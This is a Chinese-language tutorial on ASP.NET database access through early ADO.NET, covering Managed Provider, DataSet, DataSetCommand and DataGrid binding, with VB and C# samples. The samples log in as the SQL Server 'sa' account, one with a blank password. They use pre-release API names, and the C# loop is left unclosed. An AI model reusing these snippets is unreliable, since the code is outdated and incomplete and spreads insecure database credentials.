ASP.NET數據庫編程

ASP.NET中的ADO.NET和ASP中的ADO相對應,它是ADO的改進版本。在ADO.NET中,通過Managed Provider所提供的應用程序編程接口(API),可以輕鬆地訪問各種數據源的數據,包括OLEDB所支持的和ODBC支持的數據庫。

  下面介紹ADO.NET中最重要的兩個概念:Managed Provider和DataSet。

  Managed Provider

  過去,通過ADO的數據存取採用了兩層的基於連接的編程模型。隨着多層應用的需求不斷增加,程序員需要一個無連接的模型。ADO.NET就應運而生了。ADO.NET的Managed Provider就是一個多層結構的無連接的一致的編程模型。

  Managed Provider提供了DataSet和數據中心(如MS SQL)之間的聯繫。Managed Provider包含了存取數據中心(數據庫)的一系列接口。主要有三個部件:

  1、連接對象Connection、命令對象Command、參數對象Parameter提供了數據源和DataSet之間的接口。DataSetCommand接口定義了數據列和表映射,並最終取回一個DataSet。

  2、數據流提供了高性能的、前向的數據存取機制。通過IdataReader,你可以輕鬆而高效地訪問數據流?/P>

  3、更底層的對象允許你連接到數據庫,然後執行數據庫系統一級的特定命令。

  過去,數據處理主要依賴於兩層結構,並且是基於連接的。連接斷開,數據就不能再存取。現在,數據處理被延伸到三層以上的結構,相應地,程序員需要切換到無連接的應用模型。這樣,DataSetCommand就在ADO.NET中扮演了極其重要的角色。它可以取回一個DataSet,並維護一個數據源和DataSet之間的"橋",以便於數據訪問和修改、保存。DataSetCommand自動將數據的各種操作變換到數據源相關的合適的SQL語句。從圖上可以看出,四個Command對象:SelectCommand、InsertCommand、UpdateCommand、DeleteCommand分別代替了數據庫的查詢、插入、更新、刪除操作。

  Managed Provider利用本地的OLEDB通過COM Interop來實現數據存取。OLEDB支持自動的和手動的事務處理。所以,Managed Provider也提供了事務處理的能力。
  DataSet

  DataSet是ADO.NET的中心概念。你可以把DataSet想象成內存中的數據庫。正是由於DataSet,才使得程序員在編程序時可以屏蔽數據庫之間的差異,從而獲得一致的編程模型。

  DataSet支持多表、表間關係、數據約束等等。這些和關係數據庫的模型基本一致。

  通過ADO.NET訪問數據庫

  不論從語法來看,還是從風格和設計目標來看,ADO.NET都和ADO有顯著的不同。在ASP中通過ADO訪問數據庫,一般要通過以下四個步驟:

  1、 創建一個到數據庫的鏈路,即ADO.Connection;

  2、 查詢一個數據集合,即執行SQL,產生一個Recordset;

  3、 對數據集合進行需要的操作;

  4、 關閉數據鏈路。

  在ADO.NET裏,這些步驟有很大的變化。ADO.NET的最重要概念之一是DataSet。DataSet是不依賴於數據庫的獨立數據集合。所謂獨立,就是:即使斷開數據鏈路,或者關閉數據庫,DataSet依然是可用的。如果你在ASP裏面使用過非連接記錄集合(Connectionless Recordset),那麼DataSet就是這種技術的最徹底的替代品。
有了DataSet,那麼,ADO.NET訪問數據庫的步驟就相應地改變了:

  1、創建一個數據庫鏈路;

  2、請求一個記錄集合;

  3、把記錄集合暫存到DataSet;

  4、如果需要,返回第2步;(DataSet可以容納多個數據集合)

  5、關閉數據庫鏈路;

  6、在DataSet上作所需要的操作。

  DataSet在內部是用XML來描述數據的。由於XML是一種平臺無關、語言無關的數據描述語言,而且可以描述複雜數據關係的數據,比如父子關係的數據,所以DataSet實際上可以容納具有複雜關係的數據,而且不再依賴於數據庫鏈路。

  ADO.NET有許多對象,我們先看看最基本的也最常用的幾個。首先看看ADOConnection。和ADO的ADODB.Connection對象相對應,ADOConnection維護一個到數據庫的鏈路。爲了使用ADO.NET對象,我們需要引入兩個NameSpace:System.Data和System.Data.ADO,使用ASP.NET的Import指令就可以了:

  <%@ Import Namespace="System.Data" %> 

  <%@ Import Namespace="System.Data.ADO" %> 

和ADO的Connection對象類似,ADOConnection對象也有Open和Close兩個方法。下面的這個例子展示瞭如何連接到本地的MS SQL Server上的Pubs數據庫。

<%@ Import Namespace="System.Data" %> 
<%@ Import Namespace="System.Data.ADO" %> 
<%
'設置連接串...
Dim strConnString as String
strConnString = "Provider=SQLOLEDB; Data Source=(local); " & _
"Initial Catalog=pubs; User ID=sa"

'創建對象ADOConnection
Dim objConn as ADOConnection
objConn = New ADOConnection

'設置ADOCOnnection對象的連接串
objConn.ConnectionString = strConnString

objConn.Open() '打開數據鏈路

'數據庫操作代碼省略

objConn.Close() '關閉數據鏈路
objConn = Nothing '清除對象
%> 
 

上面的代碼和ADO沒有什麼太大的差別。應該提到的是,ADO.NET提供了兩種數據庫連接方式:ADO方式和SQL方式。這裏我們是通過ADO方式連接到數據庫。關於建立數據庫連接的詳細信息,我們在後面的篇幅中將會講到。

  ADODatasetCommand

  另一個不得不提到的ADO.NET對象是ADODatasetCommand,這個對象專門負責創建我們前面提到的DataSet對象。另一個重要的ADO.NET對象是Dataview,它是DataSet的一個視圖。還記得DataSet可以容納各種各種關係的複雜數據嗎?通過Dataview,我們可以把DataSet的數據限制到某個特定的範圍。

  下面的代碼展示瞭如何利用ADODatasetCommand爲DataSet填充數據:

'創建SQL字符串
Dim strSQL as String = "SELECT * FROM authors"

'創建對象ADODatasetCommand 和Dataset
Dim objDSCommand as ADODatasetCommand
Dim objDataset as Dataset = New Dataset
objDSCommand = New ADODatasetCommand(strSQL, objConn)

'填充數據到Dataset
'並將數據集合命名爲 "Author Information"
objDSCommand.FillDataSet(objDataset, "Author Information")
 

  顯示Dataset

  前面我們已經把數據準備好。下面我們來看看如何顯示Dataset中的數據。在ASP.NET中,顯示DataSet的常用控件是DataGrid,它是ASP.NET中的一個HTML控件,可以很好地表現爲一個表格,表格的外觀可以任意控制,甚至可以分頁顯示。這裏我們只需要簡單地使用它:

  <asp:DataGrid id="DataGridName" runat="server"/> 

  剩下的任務就是把Dataset綁定到這個DataGrid,綁定是ASP.NET的重要概念,我們將另文講解。一般來說,你需要把一個Dataview綁定到DataGrid,而不是直接綁定Dataset。好在Dataset有一個缺省的Dataview,下面我們就把它和DataGrid綁定:
MyFirstDataGrid.DataSource = _
objDataset.Tables("Author Information").DefaultView
MyFirstDataGrid.DataBind()


  Dataset的用法
  Dataset 並不是Recordset的簡單翻版。從一定的意義上來說,DataView更類似於Recordset。如果說DataReader是訪問數據的最容易的方式,那麼Dataset則是最完整的數據訪問對象。通過Dataset,你可以操作已有的數據,還可以通過程序創建Dataset,加入Table到Dataset,並建立這些Table之間的關係。

  使用Dataset的幾個步驟

  第1步,創建到數據源的連接:

   SQLConnection con =new SQLConnection("server=localhost;uid=sa;pwd=;database=pubs");

  第2步,創建DataSetCommand對象,指定一個存儲過程的名字或者一個SQL語句,指定數據鏈路;

   SQLDataSetCommand cmd =new SQLDataSetCommand("SELECT * FROM Authors", con);

  第3步,創建一個Dataset對象

   DataSet ds = new DataSet();

  第4步,調用DataSetCommand的FillData方法,爲Dataset填充數據。注意:數據鏈路沒有必要是打開的。如果數據鏈路是關閉狀態,FillData函數會打開它,並在FillData之後關閉數據鏈路。如果數據鏈路本來就是打開的,在FillData之後,數據鏈路依然保持打開狀態。

   int iRowCount = cmd.FillDataSet(ds, "Authors");

  第5步,操作數據。由於FillData返回了記錄的個數,我們可以構造一個循環,來操縱Dataset中的數據。


for(int i=0; i< iRowCount; i++){
DataRow dr = ds.Tables[0].Rows[i];
Console.WriteLine(dr["au_lname"]);

  數據綁定技術

  Repeater、DataList 、DataGrid控件是System.Web.UI.WebControls名空間(Namespace)裏幾個相關的頁面組件。這些控件把綁定到它們的數據通過HTML表現出來,它們又被成爲"列表綁定控件"(list-bound controls)。

  和其他Web組件一樣,這些組件不僅提供了一個一致的編程模型,而且封裝了與瀏覽器版本相關的HTML邏輯。這種特點使得程序員可以針對這個對象模型編程,而無須考慮各種瀏覽器版本的差別和不一致性。

  這三個控件具有把它們的相關數據"翻譯"成各種外觀的能力。這些外觀包括表格、多列列表、或者任何的HTML流。同時,它們也允許你創建任意的顯示效果。除此之外,它們還封裝了處理提交數據、狀態管理、事件激發的功能。最後,它們還提供了各種級別的標準操作,包括選擇、編輯、分頁、排序等等。利用這些控件,你可以輕鬆地完成如下的Web應用:報表、購物推車、產品列表、查詢結果顯示、導航菜單等等。

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章